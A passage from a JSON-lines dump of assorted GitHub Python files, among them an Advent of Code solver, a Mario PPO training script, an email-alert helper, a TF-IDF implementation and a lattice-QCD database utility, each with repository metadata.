img\n","repo_name":"pochnsong/pyocr","sub_path":"ocr_binary_image.py","file_name":"ocr_binary_image.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34339131534","text":"import re\npuzzle=\"\"\"b inc 5 if a > 1\na inc 1 if b < 5\nc dec -10 if a >= 1\nc inc -20 if c == 10\"\"\"\n\ndef parse(text):\n\tregs = {}\n\tmaxr = -10000\n\tfor t in text.split('\\n'):\n\t\tm = re.match(r'(\\w+) (inc|dec) (-?\\d+) if (\\w+) ([<>=!]+) (-?\\d+)', t)\n\t\tif not m:\n\t\t\traise Exception(text)\n\t\tprint(m.groups())\n\t\tregr = m.groups()[0]\n\t\tmult = +1 if m.groups()[1] == 'inc' else -1\n\t\tdelta = int(m.groups()[2])\n\t\tcond_regr = regs.get(m.groups()[3], 0)\n\t\top = {'==': '__eq__', '>': '__gt__', '<':'__lt__', '>=':'__ge__', '<=':'__le__', '!=':'__ne__'}[m.groups()[4]]\n\t\tcmp_r = int(m.groups()[5])\n\n\t\tif getattr(cond_regr, op)(cmp_r):\n\t\t\tm = regs.get(regr, 0) + mult*delta\n\t\t\tregs[regr] = m\n\t\t\tmaxr = max(maxr, m)\n\n\treturn regs, maxr\n\nprint(parse(puzzle))\n\nwith open('input/day8.txt') as f:\n\tx,m = parse(f.read().strip())\n\nprint(max(x.items(), key=lambda y: y[1]))\nprint(m)\n","repo_name":"shuckc/adventofcode","sub_path":"2017/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"2511188730","text":"from openccpy.opencc import *\n\n\nclass TestOpencc(object):\n \"\"\"\n 核心转换测试类\n \"\"\"\n\n def test_to_simple(self, param):\n \"\"\"\n 测试转换为简体\n \"\"\"\n # assert \"丝\" == Opencc.to_simple(\"絲\")\n # assert \"一目了然\" == Opencc.to_simple(\"一目瞭然\")\n if len(param) == 1:\n return Opencc.to_simple(param)\n if len(param) > 1:\n data = ''\n for i in param:\n k = Opencc.to_simple(i)\n data += data.join(k)\n return data\n\n def test_to_traditional(self, param):\n \"\"\"\n 测试转化为繁体\n \"\"\"\n # assert \"絲\" == Opencc.to_traditional(\"丝\")\n # assert \"一目瞭然\" == Opencc.to_traditional(\"一目了然\")\n # return Opencc.to_traditional(param)\n\n if len(param) == 1:\n return Opencc.to_traditional(param)\n if len(param) > 1:\n data = ''\n for i in param:\n k = Opencc.to_traditional(i)\n data += data.join(k)\n return data\n\n\nif __name__ == '__main__':\n test = TestOpencc()\n simple = \"黑云科技张乐琪\"\n traditional = \"黑雲科技張樂琪\"\n change_simple = test.test_to_simple(traditional)\n change_traditional = test.test_to_traditional(simple)\n print(change_simple)\n print(change_traditional)","repo_name":"Kepler-XX/Codeself_py","sub_path":"kepler/demo/fan_jian2/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39734297756","text":"import os\nimport numpy as np\nfrom collections import deque\n\nimport random\n\nimport cv2\nimport matplotlib.pyplot as plt\n\nimport env_wrapper\n\nimport torch\nimport torch.optim as optim\n\nfrom torchvision import models, transforms\n\nfrom PIL import Image\n\nfrom model import PPOModel, ActorModel, CriticModel\n\nfrom agent_ppo import AgentPPO\n\n\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu = torch.cuda.get_device_name(0)\n\n# ORIGINAL\n# env = gym_super_mario_bros.make('SuperMarioBros-v0')\n# BLACK\n# env = gym_super_mario_bros.make('SuperMarioBros-v1')\n# PIXEL\n# env = gym_super_mario_bros.make('SuperMarioBros-v2')\n# ONLY FIRST STATE\n# env = gym_super_mario_bros.make('SuperMarioBros-1-1-v0')\n# RANDOM STAGES\n# env = gym_super_mario_bros.make('SuperMarioBrosRandomStages-v0')\n\nfrom gym_super_mario_bros.actions import RIGHT_ONLY, SIMPLE_MOVEMENT, COMPLEX_MOVEMENT\n\n# actions for the simple run right environment\nCUSTOM_MOVEMENT = [\n ['NOOP'], # NADA \n ['right', 'B'], # CORRER\n ['right', 'A', 'B'], # CORRER + PULAR\n]\n\n# HYPERPARAMETERS\nN_STACKED_FRAMES = 4\n\nLR = 1e-4\nT_STEPS = 768\nGAMMA = 0.95\nEPSILON = 0.1\nENTROPY_WEIGHT = 0.001\n\nBATCH_SIZE = 32\n\n\nCHECKPOINT_FOLDER = './knowlegde/'\n\nenv = env_wrapper.create_train_env( 1, 1, SIMPLE_MOVEMENT, N_STACKED_FRAMES )\n\norig, state_info = env.reset()\naction_info = env.action_space.sample()\naction_size = env.action_space.n\n\nprint('states looks like {}'.format(state_info))\n\nprint('states len {}'.format(state_info.shape))\nprint('actions len {}'.format(action_size))\n\n\n# MODELS\n# ppo_model = PPOModel( N_STACKED_FRAMES , action_size ).to(DEVICE)\nactor_model = ActorModel( N_STACKED_FRAMES, action_size ).to(DEVICE)\ncritic_model = CriticModel( N_STACKED_FRAMES ).to(DEVICE)\noptimizer = optim.Adam( list(actor_model.parameters()) + list(critic_model.parameters()), lr=LR )\n\n# AGENT\nagent = AgentPPO(\n DEVICE,\n BATCH_SIZE,\n GAMMA, EPSILON, ENTROPY_WEIGHT,\n actor_model, critic_model, optimizer\n )\n\n# TRAIN\n\ndef train(world, stage, plot=False):\n\n fig, axs = plt.subplots(1)\n fig.suptitle('Vertically stacked subplots')\n flags = deque(maxlen=100)\n stacked_positions = deque(maxlen=30)\n stacked_positions.append(1)\n stacked_positions.append(2)\n episode = 0\n\n env = env_wrapper.create_train_env( world, stage, SIMPLE_MOVEMENT, N_STACKED_FRAMES )\n\n CHECKPOINT_ACTOR = '{}ACTOR-{}-{}.pth'.format(CHECKPOINT_FOLDER, world, stage) \n CHECKPOINT_CRITIC = '{}CRITIC-{}-{}.pth'.format(CHECKPOINT_FOLDER, world, stage) \n\n actor_model.load( CHECKPOINT_ACTOR, DEVICE )\n critic_model.load( CHECKPOINT_CRITIC, DEVICE )\n\n while np.count_nonzero(flags) < 50:\n\n orig, state = env.reset()\n\n # while True: \n for step in range(T_STEPS):\n \n action, probs, log_prob = agent.act( state )\n \n orig, next_state, reward, done, info = env.step(action)\n \n agent.step( state, action, log_prob, reward, next_state, done ) \n\n if plot:\n render( fig, axs, orig, probs )\n\n state = next_state\n\n stacked_positions.append(info['x_pos'])\n\n stagnant = len(stacked_positions) >= 30 and np.std(stacked_positions) <= 0.5\n if stagnant:\n reward -= 5\n\n if done or step == T_STEPS - 1 or stagnant:\n loss = agent.learn()\n\n if info['flag_get']:\n flags.append(1)\n else:\n flags.append(0)\n\n episode += 1\n\n print('E: {:5} W: {} S: {} STEP: {:5} POS: {:5} R: {:.2f} F: {} L: {:.5f}'.format(\n episode, world, stage, step, info['x_pos'], reward, np.count_nonzero(flags), loss))\n\n break\n\n actor_model.checkpoint( CHECKPOINT_ACTOR )\n critic_model.checkpoint( CHECKPOINT_CRITIC )\n\n env.close()\n\ndef test(n_episodes, world, stage, plot=True): \n\n fig, axs = plt.subplots(1)\n fig.suptitle('Vertically stacked subplots')\n flags = deque(maxlen=100)\n episode = 0\n\n env = env_wrapper.create_train_env( world, stage, SIMPLE_MOVEMENT, N_STACKED_FRAMES )\n\n CHECKPOINT_ACTOR = '{}ACTOR-{}-{}.pth'.format(CHECKPOINT_FOLDER, world, stage) \n CHECKPOINT_CRITIC = '{}CRITIC-{}-{}.pth'.format(CHECKPOINT_FOLDER, world, stage) \n\n actor_model.load( CHECKPOINT_ACTOR, DEVICE )\n critic_model.load( CHECKPOINT_CRITIC, DEVICE )\n\n for episode in range(n_episodes): \n\n orig, state = env.reset()\n step = 0\n\n while True: \n \n action, probs, _ = agent.act( state )\n \n orig, next_state, reward, done, info = env.step(action)\n \n if plot:\n render( fig, axs, orig, probs )\n\n state = next_state\n step += 1\n\n if done:\n if info['flag_get']:\n flags.append(1)\n else:\n flags.append(0)\n\n print('E: {:5} W: {} S:{} STEP: {:5} POS: {:5} R: {:.2f} F: {}'.format(\n episode + 1, world, stage, step, info['x_pos'], reward, np.count_nonzero(flags) ))\n\n break\n\n env.close()\n\n\ndef render(fig, axs, state, probs):\n\n x = np.arange( action_size )\n # y = probs.reshape(1, -1)\n y = probs\n\n axs.clear()\n axs.bar( x, y[0,:], color='red')\n\n fig.canvas.draw()\n\n # convert canvas to image\n img = np.fromstring( fig.canvas.tostring_rgb(), dtype=np.uint8, sep='' )\n img = img.reshape( fig.canvas.get_width_height()[::-1] + (3,) )\n\n # img is rgb, convert to opencv's default bgr\n img = cv2.resize( cv2.cvtColor(img, cv2.COLOR_RGB2BGR), (300,300) )\n s = cv2.resize( state, (300,300) )\n img = np.hstack( ( s[:,:,::-1], img ) ) \n \n # display image with opencv or any operation you like\n cv2.imshow(\"game\", img)\n cv2.waitKey(1)\n\n\n# train(1, 1)\ntrain(1, 3, True)\ntest(10, 1, 3)\n\n# for w in range(1, 8):\n# for s in range(2, 4):\n# train(w, s, False)\n\n# n_episodes = 10\n# test(n_episodes, w, s, True)","repo_name":"ibrahimth/Studies-and-Researches","sub_path":"ML Python/Super_Mario_Bros_PPO/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31576719572","text":"# coding=utf-8\nimport smtplib\nfrom email.message import EmailMessage\nfrom setting import *\nfrom email.utils import make_msgid\n\nmsg_from = MSG_from # 发送方邮箱\nmsg_pw = MSG_PW # 填入发送方邮箱的授权码\nmsg_to = MSG_to # 收件人邮箱\n\n\ndef error_alarm(content):\n subject = \"python邮件报警\" # 主题\n msg = EmailMessage()\n msg['Subject'] = subject\n msg['From'] = msg_from\n msg['To'] = msg_to\n msg.set_content(content)\n\n with smtplib.SMTP_SSL(\"smtp.qq.com\", 465) as s:\n s.login(msg_from, msg_pw)\n s.send_message(msg)\n print(\"发送成功\")\n\n\ndef send_qr(fp):\n subject = \"登录二维码\" # 主题\n msg = EmailMessage()\n msg['Subject'] = subject\n msg['From'] = msg_from\n msg['To'] = msg_to\n\n msg.set_content('aaa')\n img_cid = make_msgid()\n msg.add_alternative(f'\"imageid\"', subtype='html')\n\n with open(fp, 'rb') as f:\n msg.get_payload()[1].add_related(f.read(), 'image', 'png', cid=img_cid)\n\n with smtplib.SMTP_SSL(\"smtp.qq.com\", 465) as s:\n s.login(msg_from, msg_pw)\n s.send_message(msg)\n\n\nif __name__ == '__main__':\n content = \"二维码测试\" # 内容\n error_alarm(content)\n send_qr('QR.png')\n\n\n\n","repo_name":"maxnoodles/wxpy_production","sub_path":"email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"39217341774","text":"import subprocess\nimport json\nimport mmh3\n\n\ndef plugin_runner(cmd):\n\n def _parse_input(inp):\n if not inp:\n return None\n b = bytearray()\n b.extend(json.dumps(inp).encode())\n return b\n\n def _parse_json(out):\n return json.loads(out)\n\n def _runner(lineage, inp=None):\n p = subprocess.Popen(cmd,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n shell=True, stdin=subprocess.PIPE)\n stdout, stderr = p.communicate(input=_parse_input(inp))\n if stderr:\n out = lineage.copy()\n out.append({\n \"_id\": mmh3.hash128(stderr),\n \"_type\": \"error\",\n \"_cmd\": cmd,\n \"error\": stderr.decode()\n })\n yield out\n # for know data types use our own hash\n if stdout:\n for elm in _parse_json(stdout):\n for x in elm:\n x[\"_cmd\"] = cmd\n out = lineage.copy()\n yield out + elm\n return _runner\n","repo_name":"golismero/draft-golismero3","sub_path":"golismero3/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"71824837586","text":"# 10 primeiros termos de uma progressão aritmédica\nimport time\nprint('='*20, 'Conhecendo uma PA', '='*20,'\\n')\n\np_termo = int(input('Qual o primeiro termo da PA ? '))\nrazao = int(input('Qual a Razão dessa PA ? '))\ndecimo = p_termo + (10 - 1) * razao\nprint('\\nOs dez primeiros termos dessa PA são: ',end=' ')\n\nfor c in range(p_termo, decimo + 1, razao):\n print(f'..{c}', end=' ')\n time.sleep(0.5)\n","repo_name":"gabrielcosmo/cursoemvideo.curso.python3","sub_path":"Mundo2/exe051.py","file_name":"exe051.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7461681952","text":"#-----------------------------------------------------------------------------\n# This file is part of the 'Simple-10GbE-RUDP-KCU105-Example'. It is subject to\n# the license terms in the LICENSE.txt file found in the top-level directory\n# of this distribution and at:\n# https://confluence.slac.stanford.edu/display/ppareg/LICENSE.html.\n# No part of the 'Simple-10GbE-RUDP-KCU105-Example', including this file, may be\n# copied, modified, propagated, or distributed except according to the terms\n# contained in the LICENSE.txt file.\n#-----------------------------------------------------------------------------\n\nimport pyrogue as pr\n\nclass AppTx(pr.Device):\n def __init__( self,**kwargs):\n super().__init__(**kwargs)\n\n self.add(pr.RemoteVariable(\n name = 'FrameSize',\n description = 'Number of words to send per frame (Units of 64-bit words, zero inclusive)',\n offset = 0x000,\n bitSize = 32,\n mode = 'RW',\n ))\n\n self.add(pr.RemoteVariable(\n name = 'SendFrame',\n description = 'Write Only for sending burst of frames (Units of frames)',\n offset = 0x004,\n bitSize = 32,\n mode = 'WO',\n ))\n\n self.add(pr.RemoteVariable(\n name = 'FrameCnt',\n description = 'Read Only for monitoring bursting status',\n offset = 0x008,\n bitSize = 32,\n mode = 'RO',\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = 'WordCnt',\n description = 'Read Only for monitoring bursting status',\n offset = 0x00C,\n bitSize = 32,\n mode = 'RO',\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = 'ContinuousMode',\n description = 'Bursting Continuously Flag',\n offset = 0x010,\n bitSize = 1,\n mode = 'RW',\n base = pr.Bool,\n ))\n","repo_name":"slaclab/Simple-10GbE-RUDP-KCU105-Example","sub_path":"firmware/python/simple_10gbe_rudp_kcu105_example/_AppTx.py","file_name":"_AppTx.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"31406525885","text":"import xarray as xr\nimport cartopy.crs as ccrs\nimport matplotlib.pyplot as plt\nimport cartopy\n\npath = \"/dados/dmdpesq/BAM_grib2/etapa2/12/\"\nname_file = \"BAM.t12z.f24.anl2019111012.prev20191111_APCP.grib2.nc\"\nDS_NCEP = xr.open_dataset(path + name_file)\n\nlons = DS_NCEP.variables['longitude'][:]\nlats = DS_NCEP.variables['latitude'][:]\nda = DS_NCEP.APCP_surface.mean('time')\nfig, ax = plt.subplots(111,figsize=(15,15), dpi=200)\nax = plt.axes(projection=ccrs.PlateCarree())\nclevs=[-70,2,4,6,8,10,12,14,16,18,70]\ncolor=['white','dodgerblue','darkturquoise','mediumspringgreen','lime','yellow',\n 'orange','goldenrod','red','firebrick']\n \ncp = plt.contourf(lons,lats,da, clevs, colors=color,zorder=1)\n\nax.coastlines(resolution='110m')\nax.add_feature(cartopy.feature.BORDERS, linestyle=':')\n#for BR\nax.set_extent([-85, -30, -60, 15])\nax.stock_img()\nax.set_title(\n ' BRAZILIAN ATMOSPHERIC MODEL (BAM) 666' \n + '\\n' \n + '20140101 12Z ' \n + '\\n',\n fontsize=18\n)\nfig.colorbar(cp, orientation='horizontal',pad=0.05)\nfig.set_label('mm')\ntitle = ('teste.png')\nplt.savefig(title, bbox_inches='tight', pad_inches=.2, dpi=300)\nprint('Saved: {}'.format(title))\nplt.close() \nDS_NCEP.close()\n","repo_name":"Wanhenri/getPrev","sub_path":"testefile.py","file_name":"testefile.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"18006573336","text":"\"\"\"\n Description: This program creates a silly text effect. A user provides a string\n and an integer, and each letter of the original text is printed repeated n times.\n Author: Matthew Erdman\n Date: 9/20/21\n\"\"\"\n\ndef getInteger():\n \"\"\"\n Purpose: Gets input from the user and validates that it is a non-negative integer.\n Parameters: None.\n Return Value: The user's chosen integer.\n \"\"\"\n userInt = input(\"Num: \")\n while True:\n try:\n userInt = int(userInt)\n if userInt >= 0:\n return userInt\n except ValueError:\n pass\n print(\"Please enter a non-negative integer.\")\n userInt = input(\"Num: \")\n\n\ndef sillyText(repeatStr, repeatNum):\n \"\"\"\n Purpose: Recursively repeats each character in a string a certain number of times.\n Parameters: The string which will have its characters repeated and the\n non-negative integer which will determine how many times the characters are repeated.\n Return Value: The final string with repeated characters.\n \"\"\"\n # reached first (final) character of string, return back up\n if len(repeatStr) == 1:\n return repeatStr[0] * repeatNum\n else:\n sillyString = sillyText(repeatStr[:-1], repeatNum)\n # build up string as each recursive call returns\n sillyString += repeatStr[-1] * repeatNum\n return sillyString\n\n\ndef main():\n repeatStr = input(\"String: \")\n repeatNum = getInteger()\n sillyString = sillyText(repeatStr, repeatNum)\n print(sillyString)\n\nmain()\n","repo_name":"matthew-erdman/week11","sub_path":"lab11/sillytext.py","file_name":"sillytext.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12835502880","text":"\"\"\"\nA simple utility for parsing databases and recording their locations and the\ncorrelators they contain. Now deprecated in favor of 'parse_database.py'\n\"\"\"\nimport os\nimport sys\nimport logging\nimport pandas as pd\nimport sqlalchemy as sqla\nfrom . import db_connection as db\nfrom . import db_io\n\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef main():\n \"\"\"\n Runs through a hard-coded base directory and processes databases, recording\n the location and names of correlators it finds.\n \"\"\"\n assert False, \"This script is deprecated in favor of parse_database.py.\"\n home = \"/home/wjay/dbs/allHISQ/\"\n LOGGER.info(\"[+] Looking for sqlite databases in %s\", home)\n for root, dirs, files in os.walk(home):\n dirs.sort() # modify in place to search in order\n LOGGER.info(\"[+] root %s\", root)\n for fname in files:\n # Fermilab-MILC stores results in sqlite databases\n # Each ensemble has its own database\n # Filenames start with \"l{ns}{nt}f...\"\n if fname.startswith(\"l\") and fname.endswith(\"sqlite\"):\n process_database(fname, root)\n\n\ndef process_database(fname, location):\n \"\"\"\n Processes the database, recording its location and the names of its\n correlation functions.\n \"\"\"\n LOGGER.info(\"[+] Processing the database %s\", fname)\n engine = db.make_engine()\n full_path = os.path.join(location, fname)\n sqlite_engine = db.make_engine(sqlite=True, db_choice=full_path)\n\n # Record ensemble in analysis database\n name = fname.rstrip('.sqlite')\n ns, nt = extract_nsnt(name)\n\n # Check for existing ensembles\n existing = fetch_existing(engine)\n if (location not in existing['location'].values) and (\n name not in existing['name'].values):\n ens = {\n 'name': name,\n 'ns': ns,\n 'nt': nt,\n 'location': location,\n 'type': 'sqlite'}\n query = db_io.build_upsert_query(engine, 'ensemble', ens)\n engine.execute(query)\n ens_id = fetch_ens_id(engine, ens)\n\n # Record location of database\n ens['ens_id'] = ens_id\n query = db_io.build_upsert_query(engine, 'external_database', ens)\n engine.execute(query)\n\n if ens_id is None:\n msg = \"Missing ensemble? ens ={0}\".format(ens)\n raise ValueError(msg)\n\n # Record the names of correlators in analysis database\n corr_names = fetch_corr_names(sqlite_engine)\n write_corr_names(engine, corr_names, ens_id)\n else:\n LOGGER.info(\"[+] Skipping the database %s (already processed).\", fname)\n\n\ndef fetch_existing(engine):\n \"\"\" Fetches existing ensembles and external databases \"\"\"\n query = (\n \"SELECT ensemble.*, external_database.location, external_database.type \"\n \"FROM ensemble \"\n \"JOIN external_database ON ensemble.ens_id = external_database.ens_id;\"\n )\n LOGGER.debug(query)\n return pd.read_sql_query(query, engine)\n\n\ndef fetch_ens_id(engine, src):\n \"\"\" Fetches the ensemble id associated with 'src' \"\"\"\n return db_io.fetch_id(engine, 'ensemble', src)\n\n\ndef fetch_corr_names(engine):\n \"\"\" Fetches all the correlator names from the specified database \"\"\"\n dataframe = pd.read_sql_query(\"SELECT name FROM correlators;\", engine)\n return dataframe['name'].unique()\n\n\ndef write_corr_names(engine, corr_names, ens_id):\n \"\"\" Writes the correlator names to the analysis database.\"\"\"\n LOGGER.info(\"[+] Writing correlator names to analysis database.\")\n src = {'ens_id': ens_id}\n total = len(corr_names)\n for count, corr_name in enumerate(corr_names):\n progress(count, total, corr_name)\n src['name'] = corr_name\n query = db_io.build_upsert_query(engine, 'correlator_n_point', src)\n engine.execute(query)\n\n\ndef extract_nsnt(name):\n \"\"\" Extracts 'ns' and 'nt' from a string 'name' \"\"\"\n nsnt = name.split('f')[0].lstrip('l')\n if len(nsnt) == 4:\n ns = int(nsnt[:2])\n nt = int(nsnt[2:])\n else:\n raise ValueError(f\"Unrecognized 'nsnt' with length {nsnt}\")\n return ns, nt\n\n\ndef progress(count, total, status=''):\n \"\"\"\n Displays progress bar of the form:\n [========================================--------------------] 66.6% status\n Args:\n count: numeric, progress counter\n total: total, the end value of the counter\n status: str, name of the status to appear on the right\n Returns:\n None\n\n As suggested by Rom Ruben\n (see: http://stackoverflow.com/questions/3173320/text-progress-bar-in-the-console/27871113#comment50529068_27871113)\n \"\"\"\n\n bar_len = 60\n filled_len = int(round(bar_len * count / float(total)))\n\n percents = round(100.0 * count / float(total), 1)\n bar = '=' * filled_len + '-' * (bar_len - filled_len)\n\n sys.stdout.write('[%s] %s%s ...%s\\r' % (bar, percents, '%', status))\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"willjay/allhisq","sub_path":"allhisq/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17728005004","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom deeprl.callbacks import BaseCallback\n\n\nclass Saver(BaseCallback):\n def __init__(self, model, step=1, filename=\"model_chkp/model\", max_to_keep=0):\n super(Saver, self).__init__()\n\n self.model = model\n self.step = step\n self.filename = filename\n self.last_episode = -1\n\n self.saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.model.name),\n max_to_keep=max_to_keep)\n\n def on_episode_end(self, episode, logs=None, **kwargs):\n \"\"\"\n Saves model when episode is ended and last save was some number of steps ago\n :param episode: int, episode number\n :param logs: dict, episode data\n :return: None\n \"\"\"\n if episode - self.last_episode >= self.step:\n self.saver.save(self.model.session, self.filename, global_step=episode)\n self.last_episode = episode\n","repo_name":"borsukvasyl/deeprl","sub_path":"deeprl/callbacks/Saver.py","file_name":"Saver.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"28026247675","text":"import pygame\n\nimport view\nimport theme\nimport callback\nimport listview\nimport scroll\nimport label\nimport button\n\n\nclass SelectView(view.View):\n \"\"\"Drop-down selector with single selection support.\n\n Signals\n\n on_list_opened(select_view, yesno)\n list opened / closed\n\n on_selection_changed(select_view, item, index)\n item selected\n \"\"\"\n\n def __init__(self, frame, items):\n \"\"\"items: list of views; str(item) used for selection display\"\"\"\n assert len(items) > 0\n\n view.View.__init__(self, pygame.Rect(frame.topleft, (1, 1)))\n\n self.on_selection_changed = callback.Signal()\n self.on_list_opened = callback.Signal()\n\n self.top_label = label.Label(pygame.Rect(0, 0, 1, 1), '')\n self.top_label.halign = label.LEFT\n self.top_label._enabled = True\n self.top_label.on_mouse_down.connect(self.show_list)\n self.add_child(self.top_label)\n\n self.list_view = listview.ListView(pygame.Rect(0, 0, 1, 1), items)\n self.list_view.on_selected.connect(self.item_selected)\n self.list_view.on_deselected.connect(self.item_deselected)\n self.scroll_view = scroll.ScrollView(pygame.Rect(0, 0, 1, 1),\n self.list_view)\n self.scroll_view.hidden = True\n self.add_child(self.scroll_view)\n\n self.disclosure = button.Button(pygame.Rect(0, 0, 1, 1), caption='')\n self.disclosure.on_clicked.connect(self._toggle_show_list)\n self.add_child(self.disclosure)\n\n def layout(self):\n assert self.padding[0] == 0 and self.padding[1] == 0\n\n self.scroll_view.frame.top = self.top_label.frame.bottom - 1\n self.scroll_view.frame.h = 100\n self.scroll_view.frame.w = (self.list_view.frame.w +\n scroll.SCROLLBAR_SIZE)\n\n self.frame.w = self.scroll_view.frame.w\n\n if self.scroll_view.hidden:\n self.frame.h = theme.current.label_height\n else:\n self.frame.h = (self.top_label.frame.h +\n self.scroll_view.frame.h - 1)\n\n self.disclosure.frame.w = theme.current.label_height\n self.disclosure.frame.h = theme.current.label_height\n self.disclosure.frame.right = self.scroll_view.frame.right\n\n self.top_label.frame.w = self.disclosure.frame.left\n self.top_label.frame.h = theme.current.label_height\n self.top_label.frame.topleft = (0, 0)\n\n self.list_view.layout()\n self.scroll_view.layout()\n self.top_label.layout()\n self.disclosure.layout()\n view.View.layout(self)\n\n def show_list(self, show=True, *args, **kwargs):\n self.list_view.focus()\n if show:\n self.scroll_view.hidden = False\n self.bring_to_front()\n else:\n self.scroll_view.hidden = True\n self.on_list_opened(self, show)\n self.layout()\n\n def _toggle_show_list(self, *args, **kwargs):\n self.show_list(self.scroll_view.hidden)\n if not self.scroll_view.hidden:\n self.list_view.focus()\n\n def draw(self):\n if not view.View.draw(self):\n return False\n\n f = self.disclosure.frame\n if self.scroll_view.hidden:\n points = [(f.left + f.w // 4, f.h // 3),\n (f.right - f.w // 4, f.h // 3),\n (f.centerx, f.h - f.h // 3)]\n else:\n points = [(f.left + f.w // 4, f.h - f.h // 3),\n (f.right - f.w // 4, f.h - f.h // 3),\n (f.centerx, f.h // 3)]\n\n pygame.draw.polygon(self.surface,\n self.disclosure_triangle_color,\n points)\n return True\n\n def item_selected(self, list_view, item, index):\n item.state = 'selected'\n self.top_label.text = str(item)\n self.show_list(False)\n self.on_selection_changed(list_view, item, index)\n\n def item_deselected(self, list_view, item, index):\n item.state = 'normal'\n self.top_label.text = ''\n self.on_selection_changed(list_view, item, index)\n","repo_name":"fictorial/pygameui","sub_path":"pygameui/select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"48"} +{"seq_id":"42996969311","text":"#!/usr/bin/python3\n\nfrom collections import defaultdict\nimport math\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.datasets import fetch_20newsgroups\n\n\ndef tf(document, spliter = \" \"):\n words = document.split(spliter)\n wordCount = defaultdict(lambda:0)\n l = len(words)\n for word in words:\n wordCount[word] += 1\n return wordCount\n\ndef idf(documents, smooth_idf = True, spliter = \" \"):\n idfs = defaultdict(lambda:int(smooth_idf))\n for doc in documents:\n words = doc.split(spliter)\n wordsSet = set()\n # words in this document\n for word in words:\n wordsSet.add(word)\n for word in wordsSet:\n idfs[word] += 1\n # number of documents\n n = len(documents) + int(smooth_idf)\n\n for word in idfs:\n idfs[word] = math.log(n / idfs[word]) + 1.0\n return idfs\n\ndef Norm(d):\n length = 0.0\n for word in d:\n length += d[word]**2\n length = math.sqrt(length)\n for word in d:\n d[word] /= length\n\ndef tfidf(tfs, idfs, norm=True):\n tfidfs = {}\n for word in tfs:\n tfidfs[word] = tfs[word]*idfs[word]\n if norm:\n Norm(tfidfs)\n return tfidfs\n\ndef test():\n documents = [\"what a beautiful day fuck fuck fuck\",\n \"a very hard-wording student\"]\n idfs = idf(documents)\n print(abs(idfs[\"what\"] - math.log(3/2) - 1.0) < 0.0000001)\n print(abs(idfs[\"a\"] - math.log(1) - 1.0) < 0.0000001)\n print(abs(idfs[\"fuck\"] - math.log(3/2) - 1.0) < 0.0000001)\n\n tfd = tf(documents[0])\n print(tfd[\"what\"] == 1)\n print(tfd[\"fuck\"] == 3)\n \n\ntest()\nprint(\"==============================================\")\nif __name__ == \"__main__\":\n\n documents = [\"what beautiful day fuck fuck fuck\",\n \"very hard wording student\",\n \"tfidf is very simple\",\n \"just do it fuck\"]\n\n idfs = idf(documents, spliter=\" \")\n tfs = tf(documents[2], spliter=\" \")\n tf_idf = tfidf(tfs, idfs)\n\n \n vec = TfidfVectorizer()\n trn_term_doc = vec.fit_transform(documents)\n\n for word in tfs:\n try:\n print(\"{}\\t{}\\t{}\".format(word, tf_idf[word], vec.vocabulary_[word]))\n except:\n pass\n print(trn_term_doc[2])\n print(len(vec.vocabulary_))\n print(len(idfs))\n ","repo_name":"zhuango/leetCode","sub_path":"algorithm/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"38122812910","text":"#stack\nfrom collections import defaultdict\n\ndef diagonalSort(mat):\n # Use a defaultdict where each key is the difference between the row and column indexes.\n # This difference is constant for each diagonal.\n diagonals = defaultdict(list)\n\n # Iterate through the matrix, appending each value to the appropriate diagonal.\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n diagonals[i - j].append(mat[i][j])\n\n # Sort each list of diagonal values.\n for key in diagonals:\n diagonals[key].sort(reverse = True)\n\n # Write the sorted values back to the matrix.\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n mat[i][j] = diagonals[i - j].pop()\n\n return mat\n#time O(mnlog(min(m, n)))\n#space 